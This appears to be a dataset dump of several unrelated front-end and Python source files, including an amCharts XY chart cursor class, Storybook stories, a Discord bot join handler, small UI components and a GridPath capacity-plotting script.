text
stringlengths
3
1.05M
/** * Cursor for XY chart */ import { __extends } from "tslib"; /** * ============================================================================ * IMPORTS * ============================================================================ * @hidden */ import { Cursor } from "./Cursor"; import { Sprite } from "../../core/Sprite"; import { MutableValueDisposer, MultiDisposer } from "../../core/utils/Disposer"; import { ValueAxis } from "../axes/ValueAxis"; import { DateAxis } from "../axes/DateAxis"; import { XYSeries } from "../series/XYSeries"; import { registry } from "../../core/Registry"; import { color } from "../../core/utils/Color"; import { InterfaceColorSet } from "../../core/utils/InterfaceColorSet"; import { getInteraction } from "../../core/interaction/Interaction"; import { MouseCursorStyle } from "../../core/interaction/Mouse"; import * as $math from "../../core/utils/Math"; import * as $utils from "../../core/utils/Utils"; import * as $type from "../../core/utils/Type"; import * as $array from "../../core/utils/Array"; import * as $path from "../../core/rendering/Path"; /** * ============================================================================ * MAIN CLASS * ============================================================================ * @hidden */ /** * A cursor used on [[XYChart]]. * * @see {@link IXYCursorEvents} for a list of available events * @see {@link IXYCursorAdapters} for a list of available Adapters * @todo Add description, examples */ var XYCursor = /** @class */ (function (_super) { __extends(XYCursor, _super); /** * Constructor */ function XYCursor() { var _this = // Init _super.call(this) || this; /** * Vertical cursor line element. */ _this._lineX = new MutableValueDisposer(); /** * Horizontal cursor line element. */ _this._lineY = new MutableValueDisposer(); /** * Horizontal [[Axis]]. */ _this._xAxis = new MutableValueDisposer(); /** * Vertical [[Axis]]. */ _this._yAxis = new MutableValueDisposer(); _this._snapToDisposers = []; _this.className = "XYCursor"; // Defaults _this.behavior = "zoomX"; _this.maxPanOut = 0.1; var interfaceColors = new InterfaceColorSet(); // Create selection element var selection = _this.createChild(Sprite); selection.shouldClone = false; selection.fillOpacity = 0.2; selection.fill = interfaceColors.getFor("alternativeBackground"); selection.isMeasured = false; selection.visible = false; selection.interactionsEnabled = false; _this.selection = selection; _this._disposers.push(_this.selection); // Create cursor's vertical line var lineX = _this.createChild(Sprite); lineX.shouldClone = false; lineX.stroke = interfaceColors.getFor("grid"); lineX.fill = color(); lineX.strokeDasharray = "3,3"; lineX.isMeasured = false; lineX.strokeOpacity = 0.4; lineX.interactionsEnabled = false; lineX.y = 0; // important _this.lineX = lineX; _this._disposers.push(_this.lineX); // Create cursor's horizontal line var lineY = _this.createChild(Sprite); lineY.shouldClone = false; lineY.stroke = interfaceColors.getFor("grid"); lineY.fill = color(); lineY.strokeDasharray = "3,3"; lineY.isMeasured = false; lineY.strokeOpacity = 0.4; lineY.interactionsEnabled = false; lineY.x = 0; // important _this.lineY = lineY; _this._disposers.push(_this.lineY); // Add handler for size changes _this.events.on("sizechanged", _this.updateSize, _this, false); _this._disposers.push(_this._lineX); _this._disposers.push(_this._lineY); _this._disposers.push(_this._xAxis); _this._disposers.push(_this._yAxis); _this.mask = _this; _this.hideSeriesTooltipsOnSelection = true; // Apply theme _this.applyTheme(); return _this; } /** * Updates cursor element dimensions on size change. * * @ignore Exclude from docs */ XYCursor.prototype.updateSize = function () { if (this.lineX) { this.lineX.path = $path.moveTo({ x: 0, y: 0 }) + $path.lineTo({ x: 0, y: this.innerHeight }); } if (this.lineY) { this.lineY.path = $path.moveTo({ x: 0, y: 0 }) + $path.lineTo({ x: this.innerWidth, y: 0 }); } }; /** * Updates selection dimensions on size change. * * @ignore Exclude from docs */ XYCursor.prototype.updateSelection = function () { if (this._usesSelection) { var downPoint = this.downPoint; var behavior = this.behavior; if (downPoint) { var point = this.point; if (this.lineX) { point.x = this.lineX.pixelX; } if (this.lineY) { point.y = this.lineY.pixelY; } var selection = this.selection; var x = Math.min(point.x, downPoint.x); var y = Math.min(point.y, downPoint.y); var w = $math.round(Math.abs(downPoint.x - point.x), this._positionPrecision); var h = $math.round(Math.abs(downPoint.y - point.y), this._positionPrecision); switch (behavior) { case "zoomX": y = 0; h = this.pixelHeight; break; case "zoomY": x = 0; w = this.pixelWidth; break; case "selectX": y = 0; h = this.pixelHeight; break; case "selectY": x = 0; w = this.pixelWidth; break; } selection.x = x; selection.y = y; selection.path = $path.rectangle(w, h); selection.validatePosition(); // otherwise Edge shoes some incorrect size rectangle } else { if (this._generalBehavior != "select") { this.selection.hide(); } } } }; /** * * @ignore Exclude from docs */ XYCursor.prototype.fixPoint = function (point) { point.x = Math.max(0, point.x); point.y = Math.max(0, point.y); point.x = Math.min(this.pixelWidth, point.x); point.y = Math.min(this.pixelHeight, point.y); return point; }; /** * Places the cursor at specific point. * * @param point Point to place cursor at */ XYCursor.prototype.triggerMoveReal = function (point, force) { _super.prototype.triggerMoveReal.call(this, point, force); var snapToSeries = this.snapToSeries; if ((snapToSeries && !this.downPoint)) { if (snapToSeries instanceof XYSeries) { if (snapToSeries.isHidden) { this.updateLinePositions(point); } } else { var allHidden_1 = true; $array.each(snapToSeries, function (s) { if (!s.isHidden) { allHidden_1 = false; } }); if (allHidden_1) { this.updateLinePositions(point); } } } else { this.updateLinePositions(point); } if (this.downPoint && $math.getDistance(this.downPoint, point) > 3) { if (this._generalBehavior == "pan") { this.getPanningRanges(); this.dispatch("panning"); } } }; /** * * @ignore Exclude from docs */ XYCursor.prototype.updateLinePositions = function (point) { point = this.fixPoint(this.point); if (this.lineX && this.lineX.visible && !this.xAxis) { this.lineX.x = point.x; } if (this.lineY && this.lineY.visible && !this.yAxis) { this.lineY.y = point.y; } this.updateSelection(); }; XYCursor.prototype.triggerDownReal = function (point) { if (this.visible && !this.isHiding) { if (this._generalBehavior == "select") { this.selection.parent = this.parent; } if (this.fitsToBounds(point)) { this.downPoint = { x: point.x, y: point.y }; this.updatePoint(point); //this.updateLinePositions(point); // otherwise lines won't be in correct position and touch won't work fine this.point.x = this.downPoint.x; this.point.y = this.downPoint.y; var selection = this.selection; var selectionX = this.downPoint.x; var selectionY = this.downPoint.y; if (this._usesSelection) { selection.x = selectionX; selection.y = selectionY; selection.path = ""; selection.show(); } _super.prototype.triggerDownReal.call(this, point); } else { this.downPoint = undefined; } } else { this.downPoint = undefined; } }; /** * Updates the coordinates of where pointer down event occurred * (was pressed). */ XYCursor.prototype.updatePoint = function (point) { if (this.lineX) { point.x = this.lineX.pixelX; } if (this.lineY) { point.y = this.lineY.pixelY; } }; /** * Handle action when cursor is released, which should perform an operation * based on its `behavior`, like zoom. * * @param point Release point */ XYCursor.prototype.triggerUpReal = function (point) { if (this.hasMoved()) { if (this.downPoint) { this.upPoint = point; this.updatePoint(this.upPoint); if (this._generalBehavior != "pan") { this.getRanges(); } if (this._generalBehavior != "select") { this.selection.hide(); } _super.prototype.triggerUpReal.call(this, point); } } else { if (this._generalBehavior != "select") { this.selection.hide(0); } else { this.xRange = undefined; this.yRange = undefined; this.dispatchImmediately("selectended"); } // reset cursor style, just in case if (this._generalBehavior == "pan") { var interaction = getInteraction(); interaction.setGlobalStyle(MouseCursorStyle.default); } this.dispatchImmediately("behaviorcanceled"); } this.downPoint = undefined; this.dispatch("cursorpositionchanged"); }; /** * Calculates if the cursor has moved enough based on its `behavior`. * * @return Moved? */ XYCursor.prototype.hasMoved = function () { var distance; if (this.behavior == "zoomX" || this.behavior == "panX") { distance = $math.getHorizontalDistance(this._upPointOrig, this._downPointOrig); } else if (this.behavior == "zoomY" || this.behavior == "panY") { distance = $math.getVerticalDistance(this._upPointOrig, this._downPointOrig); } else { distance = $math.getDistance(this._upPointOrig, this._downPointOrig); } return distance > getInteraction().getHitOption(this.interactions, "hitTolerance"); }; /** * [getRanges description] * * @todo Description */ XYCursor.prototype.getPanningRanges = function () { var startX = $math.round(this.downPoint.x / this.innerWidth, 5); var startY = 1 - $math.round(this.downPoint.y / this.innerHeight, 5); var currentX = $math.round(this.point.x / this.innerWidth, 5); var currentY = 1 - $math.round(this.point.y / this.innerHeight, 5); var deltaX = startX - currentX; var deltaY = startY - currentY; this.xRange = { start: deltaX, end: 1 + deltaX }; this.yRange = { start: deltaY, end: 1 + deltaY }; if (this.behavior == "panX") { this.yRange.start = 0; this.yRange.end = 1; } if (this.behavior == "panY") { this.xRange.start = 0; this.xRange.end = 1; } }; /** * [getRanges description] * * @todo Description */ XYCursor.prototype.getRanges = function () { if (this.lineX) { this.upPoint.x = this.lineX.pixelX; } if (this.lineY) { this.upPoint.y = this.lineY.pixelY; } // @todo Is this needed? $utils.used(this.selection); var startX = $math.round(this.downPoint.x / this.innerWidth, 5); var endX = $math.round((this.upPoint.x) / this.innerWidth, 5); var startY = 1 - $math.round(this.downPoint.y / this.innerHeight, 5); var endY = 1 - $math.round((this.upPoint.y) / this.innerHeight, 5); this.xRange = { start: $math.min(startX, endX), end: $math.max(startX, endX) }; this.yRange = { start: $math.min(startY, endY), end: $math.max(startY, endY) }; }; Object.defineProperty(XYCursor.prototype, "behavior", { /** * Behavior */ get: function () { return this.getPropertyValue("behavior"); }, /** * Cursor's behavior when it's moved with pointer down: * * * `"zoomX"` - zooms horizontally. * * `"zoomY"` - zooms vertically. * * `"zoomXY"` - zooms both horizontally and vertically. * * `"selectX"` - selects a range horizontally. * * `"selectY"` - selects a range vertically. * * `"selectXY"` - selects a range both horizontally and vertically. * * `"panX"` - moves (pans) current selection horizontally. * * `"panY"` - moves (pans) current selection vertically. * * `"panXY"` - moves (pans) current selection both horizontally and vertically. * * `"none"` - does nothing with pointer down. * * E.g. "zoomXY" will mean that pressing a mouse (or touching) over plot area * and dragging it will start zooming the chart. * * NOTE: `"zoomXY"` acts differently when used on a `DateAxis`. * See [this note](https://www.amcharts.com/docs/v4/concepts/chart-cursor/#zoomXY_behavior_and_DateAxis). * * @param value Bheavior */ set: function (value) { this.setPropertyValue("behavior", value, true); this._usesSelection = false; if (value.indexOf("zoom") != -1) { this._generalBehavior = "zoom"; this._usesSelection = true; } if (value.indexOf("select") != -1) { this._generalBehavior = "select"; this._usesSelection = true; } if (value.indexOf("pan") != -1) { this._generalBehavior = "pan"; this._usesSelection = false; } }, enumerable: true, configurable: true }); /** * Determines whether Cursor should prevent default action on move. * * If cursor's behavior is "none", it should not obstruct the page scrolling. * * @return Prevent default? */ XYCursor.prototype.shouldPreventGestures = function (touch) { return (!this.interactions.isTouchProtected || !touch) && this.behavior != "none"; }; Object.defineProperty(XYCursor.prototype, "fullWidthLineX", { /** * @return Full width? */ get: function () { return this.getPropertyValue("fullWidthLineX"); }, /** * Cursor's horizontal line is expanded to take full width of the related * Axis' cell/category. * * NOTE: this setting will work properly if `xAxis` is set and only in case * `xAxis` is [[CategoryAxis]] or [[DateAxis]]. * * @param value Full width? */ set: function (value) { this.setPropertyValue("fullWidthLineX", value); if (!value) { this.updateSize(); } }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "fullWidthLineY", { /** * @return Full width? */ get: function () { return this.getPropertyValue("fullWidthLineY"); }, /** * Cursor's vertical line is expanded to take full width of the related * Axis' cell/category. * * NOTE: this setting will work properly if `yAxis` is set and only in case * `yAxis` is [[CategoryAxis]] or [[DateAxis]]. * * @param value Full width? */ set: function (value) { this.setPropertyValue("fullWidthLineY", value); if (!value) { this.updateSize(); } }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "hideSeriesTooltipsOnSelection", { /** * @return hide tooltip? */ get: function () { return this.getPropertyValue("hideSeriesTooltipsOnSelection"); }, /** * If set to `true` this will hide series tooltips when selecting with cursor. * * @since 4.5.15 * @param value hide tooltips? */ set: function (value) { this.setPropertyValue("hideSeriesTooltipsOnSelection", value); }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "maxTooltipDistance", { /** * @return Distance */ get: function () { return this.getPropertyValue("maxTooltipDistance"); }, /** * If set to a numeric value, cursor will display closest series' tooltips * plus tooltips from series that are closer to than `maxTooltipDistance` to * it. * * Set it to `-1` to always force one tooltip, even if there are multiple * data items in exactly same place. * * @since 4.7.18 * @param value Distance */ set: function (value) { this.setPropertyValue("maxTooltipDistance", value); }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "maxPanOut", { /** * @return Full width? */ get: function () { return this.getPropertyValue("maxPanOut"); }, /** * If cursor behavior is panX or panY, we allow to pan plot out of it's max bounds for a better user experience. * This setting specifies relative value by how much we can pan out the plot * * @param value */ set: function (value) { this.setPropertyValue("maxPanOut", value); }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "xAxis", { /** * @return X axis */ get: function () { return this._xAxis.get(); }, /** * A reference to X [[Axis]]. * * An XY cursor can live without `xAxis` set. You set xAxis for cursor when * you have axis tooltip enabled and you want cursor line to be at the same * position as tooltip. * * This works with [[CategoryAxis]] and [[DateAxis]] but not with * [[ValueAxis]]. * * @todo Description (review) * @param axis X axis */ set: function (axis) { var _this = this; if (this._xAxis.get() != axis) { this._xAxis.set(axis, new MultiDisposer([ axis.tooltip.events.on("positionchanged", this.handleXTooltipPosition, this, false), axis.events.on("rangechangestarted", function (event) { _this.hide(0); _this.preventShow = true; }, undefined, false), axis.events.on("rangechangeended", function (event) { _this.preventShow = false; _this.hide(0); _this.dispatch("cursorpositionchanged"); }, undefined, false) ])); } }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "yAxis", { /** * @return Y Axis */ get: function () { return this._yAxis.get(); }, /** * A reference to Y [[Axis]]. * * An XY cursor can live without `yAxis` set. You set xAxis for cursor when * you have axis tooltip enabled and you want cursor line to be at the same * position as tooltip. * * This works with [[CategoryAxis]] and [[DateAxis]] but not with * [[ValueAxis]]. * * @todo Description (review) * @param axis Y axis */ set: function (axis) { var _this = this; if (this._yAxis.get() != axis) { this._yAxis.set(axis, new MultiDisposer([ axis.tooltip.events.on("positionchanged", this.handleYTooltipPosition, this, false), axis.events.on("rangechangestarted", function (event) { _this.hide(0); _this.__disabled = true; }, undefined, false), axis.events.on("rangechangeended", function (event) { _this.__disabled = false; _this.hide(0); _this.dispatch("cursorpositionchanged"); }, undefined, false) ])); } }, enumerable: true, configurable: true }); /** * Updates Cursor's position when axis tooltip changes position. * * @ignore Exclude from docs * @param event Original Axis event */ XYCursor.prototype.handleXTooltipPosition = function (event) { var tooltip = this.xAxis.tooltip; var point = $utils.svgPointToSprite({ x: tooltip.pixelX, y: tooltip.pixelY }, this); var x = point.x; point.y = 1; if (this.lineX) { this.lineX.x = x; if (!this.fitsToBounds(point)) { this.hide(); } } if (this.xAxis && this.fullWidthLineX) { var startPoint = this.xAxis.currentItemStartPoint; var endPoint = this.xAxis.currentItemEndPoint; if (startPoint && endPoint) { this.lineX.x = x; var width = endPoint.x - startPoint.x; this.lineX.path = $path.rectangle(width, this.innerHeight, -width / 2); } } }; /** * Updates Cursor's position when Y axis changes position or scale. * * @ignore Exclude from docs * @param event Original Axis event */ XYCursor.prototype.handleYTooltipPosition = function (event) { var tooltip = this.yAxis.tooltip; var point = $utils.svgPointToSprite({ x: tooltip.pixelX, y: tooltip.pixelY }, this); var y = point.y; point.x = 1; if (this.lineY) { this.lineY.y = y; if (!this.fitsToBounds(point)) { this.hide(); } } if (this.yAxis && this.fullWidthLineY) { var startPoint = this.yAxis.currentItemStartPoint; var endPoint = this.yAxis.currentItemEndPoint; if (startPoint && endPoint) { this.lineY.y = y; var height = endPoint.y - startPoint.y; this.lineY.path = $path.rectangle(this.innerWidth, height, 0, -height / 2); } } }; Object.defineProperty(XYCursor.prototype, "lineX", { /** * @return Line element */ get: function () { return this._lineX.get(); }, /** * A Line element to use for X axis. * * @param lineX Line */ set: function (lineX) { if (lineX) { lineX.setElement(this.paper.add("path")); this._lineX.set(lineX, lineX.events.on("positionchanged", this.updateSelection, this, false)); lineX.interactionsEnabled = false; lineX.parent = this; } else { this._lineX.reset(); } }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "lineY", { /** * @return Line element */ get: function () { return this._lineY.get(); }, /** * A Line element to use Y axis. * * @param lineY Line */ set: function (lineY) { if (lineY) { lineY.setElement(this.paper.add("path")); this._lineY.set(lineY, lineY.events.on("positionchanged", this.updateSelection, this, false)); lineY.parent = this; lineY.interactionsEnabled = false; } else { this._lineY.reset(); } }, enumerable: true, configurable: true }); Object.defineProperty(XYCursor.prototype, "selection", { /** * @return Selection rectangle */ get: function () { return this._selection; }, /** * A selection element ([[Sprite]]). * * @param selection Selection rectangle */ set: function (selection) { this._selection = selection; if (selection) { selection.element = this.paper.add("path"); selection.parent = this; } }, enumerable: true, configurable: true }); /** * Processes JSON-based config before it is applied to the object. * * Looks if `xAxis` and `yAxis` is set via ID in JSON config, and replaces * with real references. * * @ignore Exclude from docs * @param config Config */ XYCursor.prototype.processConfig = function (config) { var _this = this; if (config) { // Set up axes if ($type.hasValue(config.xAxis) && $type.isString(config.xAxis)) { if (this.map.hasKey(config.xAxis)) { config.xAxis = this.map.getKey(config.xAxis); } else { this.processingErrors.push("[XYCursor] No axis with id \"" + config.xAxis + "\" found for `xAxis`"); delete config.xAxis; } } if ($type.hasValue(config.yAxis) && $type.isString(config.yAxis)) { if (this.map.hasKey(config.yAxis)) { config.yAxis = this.map.getKey(config.yAxis); } else { this.processingErrors.push("[XYCursor] No axis with id \"" + config.yAxis + "\" found for `yAxis`"); delete config.yAxis; } } if ($type.hasValue(config.snapToSeries)) { var snapTo_1 = $type.isArray(config.snapToSeries) ? config.snapToSeries : [config.snapToSeries]; var snapError_1 = false; $array.each(snapTo_1, function (snap, index) { if ($type.isString(snap)) { if (_this.map.hasKey(snap)) { snapTo_1[index] = _this.map.getKey(snap); } else { _this.processingErrors.push("[XYCursor] No series with id \"" + snap + "\" found for `series`"); snapError_1 = true; } } }); if (snapError_1) { delete config.snapToSeries; } else { config.snapToSeries = snapTo_1; } } } _super.prototype.processConfig.call(this, config); }; Object.defineProperty(XYCursor.prototype, "snapToSeries", { /** * @return {XYSeries | XYSeries[]} */ get: function () { return this.getPropertyValue("snapToSeries"); }, /** * Specifies to which series cursor lines should be snapped. * * Can be a single series instance or an array of series. * * @param {XYSeries | XYSeries[]} */ set: function (series) { var _this = this; if (this.setPropertyValue("snapToSeries", series)) { if (series instanceof XYSeries) { series = [series]; } if (this._snapToDisposers) { $array.each(this._snapToDisposers, function (disposer) { disposer.dispose(); }); } this._snapToDisposers = []; if (series) { $array.each(series, function (s) { _this._snapToDisposers.push(s.events.on("tooltipshownat", function () { _this.handleSnap(s); }, undefined, false)); }); } } }, enumerable: true, configurable: true }); /** * [handleSnap description] * * @ignore * @todo Description */ XYCursor.prototype.handleSnap = function (series) { if (!this.downPoint) { var x = series.getTooltipX() + series.xAxis.pixelX; var y = series.getTooltipY() + series.yAxis.pixelY; if (this.xAxis) { if (this.xAxis.renderer.opposite) { y -= this.pixelHeight; } } this.point = { x: x, y: y }; this.getPositions(); var xx = x; var yy = y; x -= this.pixelWidth; if (this.yAxis) { if (this.yAxis.renderer.opposite) { x += this.pixelWidth; } } var tooltip = series.tooltip; var duration = tooltip.animationDuration; var easing = tooltip.animationEasing; var xAxis = series.xAxis; var yAxis = series.yAxis; if (xAxis instanceof ValueAxis && !(xAxis instanceof DateAxis) && yAxis instanceof ValueAxis && !(yAxis instanceof DateAxis)) { series.yAxis.showTooltipAtPosition(this.yPosition); series.xAxis.showTooltipAtPosition(this.xPosition); } else { if (series.baseAxis == series.xAxis) { series.yAxis.showTooltipAtPosition(this.yPosition); } if (series.baseAxis == series.yAxis) { series.xAxis.showTooltipAtPosition(this.xPosition); } } this.lineX.animate([{ property: "y", to: y }], duration, easing); this.lineY.animate([{ property: "x", to: x }], duration, easing); if (!this.xAxis) { this.lineX.animate([{ property: "x", to: xx }], duration, easing); } if (!this.yAxis) { this.lineY.animate([{ property: "y", to: yy }], duration, easing); } } }; /** * Destroys this object and all related data. */ XYCursor.prototype.dispose = function () { this.hide(0); _super.prototype.dispose.call(this); }; return XYCursor; }(Cursor)); export { XYCursor }; /** * Register class in system, so that it can be instantiated using its name from * anywhere. * * @ignore */ registry.registeredClasses["XYCursor"] = XYCursor; //# sourceMappingURL=XYCursor.js.map
import 'src/app/mixin'; export default function createCoreMixins() { return true; }
import '../../src/maps/cc-map-marker-server.js'; import { makeStory } from '../lib/make-story.js'; import { enhanceStoriesNames } from '../lib/story-names.js'; export default { title: '🛠 Maps/<cc-map-marker-server>', component: 'cc-map-marker-server', }; const conf = { component: 'cc-map-marker-server', // language=CSS css: ` cc-map-marker-server { display: inline-block; margin: 1rem; } `, }; export const defaultStory = makeStory(conf, { items: [ { state: 'default' }, { state: 'hovered' }, { state: 'selected' }, ], }); export const stateWithDefault = makeStory(conf, { items: [{ state: 'default' }], }); export const stateWithHovered = makeStory(conf, { items: [{ state: 'hovered' }], }); export const stateWithSelected = makeStory(conf, { items: [{ state: 'selected' }], }); enhanceStoriesNames({ defaultStory, stateWithDefault, stateWithHovered, stateWithSelected, });
const settings = require('../settings.json'); module.exports = guild => { let client = guild.client let channelID; let channels = guild.cache.channels; channelLoop: for (let c of channels) { let channelType = c[1].type; if (channelType === "text") { channelID = c[0]; break channelLoop; } } let owner = guild.ownerID if(owner !== settings.ownerid){ let channel = client.channels.cache.get(guild.systemChannelID || channelID); channel.send(`Thanks for inviting me into this server! Please do /info and /help for the informations you need in order for the bot to work properly. Do /suggest or /bug if there's any suggestions or bug you found. THANKS`); let blacklist = JSON.parse(fs.readFileSync("./blacklist.json", "utf8")); client.guilds.forEach((guild) => { if (!blacklist[guild.ownerID]) return if(blacklist[guild.ownerID].state === true) { channel.send("But UNFORTUNATELY, the owner of this server has been blacklisted before so I'm LEAVING! Bye!") guild.leave(guild.id) } }) } }
var IEFORMID = "ieform"; var IE_NONE = 0; var IE_IMPORT = 1; var IE_EXPORT = 2; var IE_EDIT = 3; var _testBed = null; function IEFormInit(ieformid, testBed) { IEFORMID = ieformid; _testBed = testBed; } function getIEForm() { return document.getElementById(IEFORMID); } function getIEFormDIV() { return document.getElementById(IEFORMID+"div"); } function getIEFormControl(id) { return document.getElementById(IEFORMID+"_"+id); } function onIEFormCancel() { var f = getIEFormDIV(); if( f != null ) { f.fImportExport = IE_NONE; f.style.display = "none"; } if( _testBed == null ) return; _testBed.getInputElement().focus(); } function onIEFormOK() { var f = getIEFormDIV(); var form = getIEForm(); if( form != null && f != null ) { if( f.fImportExport == IE_IMPORT || f.fImportExport == IE_EDIT ) { if( _testBed == null ) return; _testBed.importText(form.textarea.value); _testBed.selectRow(0); } f.fImportExport = IE_NONE; f.style.display = "none"; } if( _testBed != null ) _testBed.getInputElement().focus(); } function doImportExport(what, txt) { var f = getIEFormDIV(); var form = getIEForm(); if( form != null && f != null ) { if( typeof(f.fImportExport) != "undefined" && f.fImportExport != IE_NONE ) return; f.fImportExport = what; var importlab = getIEFormControl("importlab"); var editlab = getIEFormControl("editlab"); var exportlab = getIEFormControl("exportlab"); var cancel = getIEFormControl("cancel"); if( importlab ) importlab.style.display = "none"; if( exportlab ) exportlab.style.display = "none"; if( editlab ) editlab.style.display = "none"; if( cancel ) cancel.style.display = "none"; if( what == IE_EXPORT ) { if( exportlab ) exportlab.style.display = "inline"; f.fImportExport = "export"; form.textarea.value = txt; } else if( what == IE_IMPORT ) { form.textarea.value = ""; if( importlab ) importlab.style.display = "inline"; if( cancel ) cancel.style.display = "inline"; } else if( what == IE_EDIT ) { form.textarea.value = txt; if( importlab ) importlab.style.display = "inline"; if( cancel ) cancel.style.display = "inline"; } f.style.display = "block"; } } function doImport() { doImportExport(IE_IMPORT); } function doExport(lang, txt) { if( !txt ) { if( _testBed == null ) return; txt = _testBed.getEntireText(lang, true); } if( txt == "" ) { alert( "Nothing to export!"); return; } doImportExport(IE_EXPORT, txt); } function doEditRaw(txt) { if( !txt ) { if( _testBed == null ) return; txt = _testBed.getEntireText(null); } doImportExport(IE_EDIT, txt); }
$( document ).on( "pageshow", "#single", function( event ) { idnota = window.location.search; idnota = idnota.split("="); idnota = idnota[1]; $.ajax({ url : urlwordpress+'get_post/?id='+idnota, success : function(data){ titulo = data.post.title_plain; imagen = data.post.attachments[0].url; contenido = data.post.content; $('#contenidonoticia').html('<h1>'+titulo+'</h1><div class="imageninterior"><img class="portadainterior" src="'+imagen+'"/></div><div class="contenidointerior">'+contenido+'</dv>'); }, beforeSend : function(){ $('#loading').fadeIn('fast'); }, complete : function (){ $('#loading').fadeOut('fast'); } }); });
/** * 简单工厂模式 * 又称静态工厂模式,有一个工厂队形决定创建某一种产品对象类的实例。主要用来创建同一类对象。 * 注:说白了就是返回一个对象,高度抽象 */ function createBook(name, time, type) { const o = new Object() o.name = name o.time = time o.type = type o.getName = function() { return o.name } return o }
import Ember from 'ember'; import layout from '../templates/components/ff-checkbox'; export default Ember.Component.extend({ layout: layout, value: null, classNames: ['ff-checkbox'], actions: { sendChecked(checked, value) { this.sendAction('on-change', checked, value); } } });
/* eslint-disable @gitlab/require-i18n-strings */ import PaginationBar from './pagination_bar.vue'; export default { component: PaginationBar, title: 'vue_shared/components/pagination_bar/pagination_bar', }; const Template = (args, { argTypes }) => ({ components: { PaginationBar }, props: Object.keys(argTypes), template: `<pagination-bar v-bind="$props" v-on="{ 'set-page-size': setPageSize, 'set-page': setPage }" />`, }); export const Default = Template.bind({}); Default.args = { pageInfo: { perPage: 20, page: 2, total: 83, totalPages: 5, }, pageSizes: [20, 50, 100], }; Default.argTypes = { pageInfo: { description: 'Page info object', control: { type: 'object' }, }, pageSizes: { description: 'Array of possible page sizes', control: { type: 'array' }, }, // events setPageSize: { action: 'set-page-size' }, setPage: { action: 'set-page' }, };
# Copyright 2016-2020 Blue Marble Analytics LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Create plot of total capacity by load zone and technology for a given scenario/period/subproblem/stage. """ from argparse import ArgumentParser from bokeh.embed import json_item import pandas as pd import sys # GridPath modules from db.common_functions import connect_to_database from gridpath.auxiliary.db_interface import get_scenario_id_and_name from viz.common_functions import create_stacked_bar_plot, show_plot, \ get_parent_parser, get_tech_colors, get_tech_plotting_order, get_unit, \ process_stacked_plot_data def create_parser(): """ :return: """ parser = ArgumentParser(add_help=True, parents=[get_parent_parser()]) parser.add_argument("--scenario_id", help="The scenario ID. Required if " "no --scenario is specified.") parser.add_argument("--scenario", help="The scenario name. Required if " "no --scenario_id is specified.") parser.add_argument("--period", required=True, type=int, help="The name of the load zone. Required.") parser.add_argument("--subproblem", default=1, type=int, help="The subproblem ID. Defaults to 1.") parser.add_argument("--stage", default=1, type=int, help="The stage ID. Defaults to 1.") return parser def parse_arguments(arguments): """ :return: """ parser = create_parser() parsed_arguments = parser.parse_args(args=arguments) return parsed_arguments def get_plotting_data(conn, scenario_id, period, subproblem, stage, **kwargs): """ Get total capacity results by load zone/technology for a given scenario/period/subproblem/stage. **kwargs needed, so that an error isn't thrown when calling this function with extra arguments from the UI. :param conn: :param scenario_id: :param period: :param subproblem: :param stage: :return: """ # Total capacity by load_zone and technology sql = """SELECT period, load_zone, technology, sum(capacity_mw) AS capacity_mw FROM results_project_capacity WHERE scenario_id = ? AND period = ? AND subproblem_id = ? AND stage_id = ? GROUP BY period, load_zone, technology;""" df = pd.read_sql( sql, con=conn, params=(scenario_id, period, subproblem, stage) ) return df def main(args=None): """ Parse the arguments, get the data in a df, and create the plot :return: if requested, return the plot as JSON object """ if args is None: args = sys.argv[1:] parsed_args = parse_arguments(arguments=args) conn = connect_to_database(db_path=parsed_args.database) c = conn.cursor() scenario_id, scenario = get_scenario_id_and_name( scenario_id_arg=parsed_args.scenario_id, scenario_name_arg=parsed_args.scenario, c=c, script="capacity_total_loadzone_comparison_plot" ) tech_colors = get_tech_colors(c) tech_plotting_order = get_tech_plotting_order(c) power_unit = get_unit(c, "power") plot_title = "{}Total Capacity by Load Zone - {} - Subproblem {} - Stage {}"\ .format( "{} - ".format(scenario) if parsed_args.scenario_name_in_title else "", parsed_args.period, parsed_args.subproblem, parsed_args.stage ) plot_name = "TotalCapacityPlot-{}-{}-{}"\ .format( parsed_args.period, parsed_args.subproblem, parsed_args.stage ) df = get_plotting_data( conn=conn, scenario_id=scenario_id, period=parsed_args.period, subproblem=parsed_args.subproblem, stage=parsed_args.stage ) source, x_col_reordered = process_stacked_plot_data( df=df, y_col="capacity_mw", x_col=["load_zone"], category_col="technology" ) # Multi-level index in CDS will be joined into one column with "_" separator x_col_cds = "_".join(x_col_reordered) x_col_label = ", ".join([x.capitalize() for x in x_col_reordered]) plot = create_stacked_bar_plot( source=source, x_col=x_col_cds, x_label=x_col_label, y_label="New Capacity ({})".format(power_unit), category_label="Technology", category_colors=tech_colors, category_order=tech_plotting_order, title=plot_title, ylimit=parsed_args.ylimit ) # Show plot in HTML browser file if requested if parsed_args.show: show_plot(plot=plot, plot_name=plot_name, plot_write_directory=parsed_args.plot_write_directory, scenario=scenario) # Return plot in json format if requested if parsed_args.return_json: return json_item(plot, "plotHTMLTarget") if __name__ == "__main__": main()
